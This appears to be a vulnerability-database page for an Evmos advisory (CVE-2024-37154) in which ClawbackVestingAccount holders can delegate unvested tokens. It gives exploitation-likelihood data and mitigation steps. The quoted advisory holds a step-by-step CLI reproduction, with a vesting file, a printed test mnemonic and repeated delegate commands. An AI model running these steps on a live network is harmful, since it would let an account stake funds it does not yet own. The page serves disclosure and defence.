NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

Evmos allows unvested token delegationsGHSA-7hrh-v6wp-53vw

MEDIUM

GHSA-7hrh-v6wp-53vw is a medium-severity (CVSS 5.3) CWE-285 vulnerability in github.com/evmos/evmos/v18. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

Also known asCVE-2024-37154GO-2024-2904
Published
Updated
Affected
13 pkgs
Patched
See advisory
Exploits
None indexed
Exploitation data as of Nov 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-7hrh-v6wp-53vw.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs32th percentile — riskier than 32% of all scored CVEsHighest risk
0.00%0.29%0.59%0.89%0.3%0.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

13 pkgs affected
🐹github.com/evmos/evmos/v18🐹github.com/evmos/evmos/v17🐹github.com/evmos/evmos/v16🐹github.com/evmos/evmos/v15🐹github.com/evmos/evmos/v14🐹github.com/evmos/evmos/v13🐹github.com/evmos/evmos/v12🐹github.com/evmos/evmos/v11+5 more

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Impact

What kind of vulnerability is it? Who is impacted?

At the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via ClawbackVestingAccount.

Patches

Has the problem been patched? What versions should users upgrade to?

The PR linked to this advisory includes part of the fix. The remainder is in a second advisory on the Cosmos SDK fork.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.

References

Are there any links users can visit to find out more?

See the integration tests for more details on the exploit, or use the following to reproduce it on the CLI:

  1. Download vesting_setup.json with the following contents:
{
  "start_time": 1679602272,
  "periods": [
    {
      "coins": "100000000000000000000aevmos",
      "length_seconds": 10 
    },
    {
      "coins": "100000000000000000000aevmos",
      "length_seconds": 259200000
    }
  ]
}
  1. Run the following CLI commands to reproduce the issue locally:
evmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes

# Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested
evmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd

evmosd keys add key1 --recover --home ~/.tmp-evmosd
# Enter the following mnemonic
skate tell option purity cattle poverty street act bone govern way various

evmosd q staking validators --home ~/.tmp-evmosd | grep operator_address

# Substitute the operator address from the previous query
# Note that this delegates 70% of the user's available stake
evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes

# Re-run the same command
evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes

# Note that the total delegations now exceed the user's vested balance
evmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd

Affected Packages

13 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/evmos/evmos/v18all versionsNo fix
🐹Gogithub.com/evmos/evmos/v17all versionsNo fix
🐹Gogithub.com/evmos/evmos/v16all versionsNo fix
🐹Gogithub.com/evmos/evmos/v15all versionsNo fix
🐹Gogithub.com/evmos/evmos/v14all versionsNo fix
🐹Gogithub.com/evmos/evmos/v13all versionsNo fix

Affected Products

1 product · 1 configurations
Application
evmosevmos
all

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/evmos/evmos/v18, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of github.com/evmos/evmos/v18 for GHSA-7hrh-v6wp-53vw. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Impact _What kind of vulnerability is it? Who is impacted?_ At the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via `ClawbackVestingAccount`. ### Patches _Has the problem been patched? What versions should users upgrade to?_ [The PR linked to this advisory](https://github.com/evmos/evmos-ghsa-7hrh-v6wp-53vw/pull/1) includes part of the fix. The remainder is in a [second advisory on the Cosmos SDK fork](https://github.com/evmos/cosmos-sdk/security/advisories/GHSA-wj6f-x5wv-8pqv). ### Workarounds _Is t
O3 Security · Impact-Aware SCA

Is GHSA-7hrh-v6wp-53vw in your dependencies?

Find it across Go, including transitive dependencies.

Evmos allows unvested token delegations (Medium 5.3)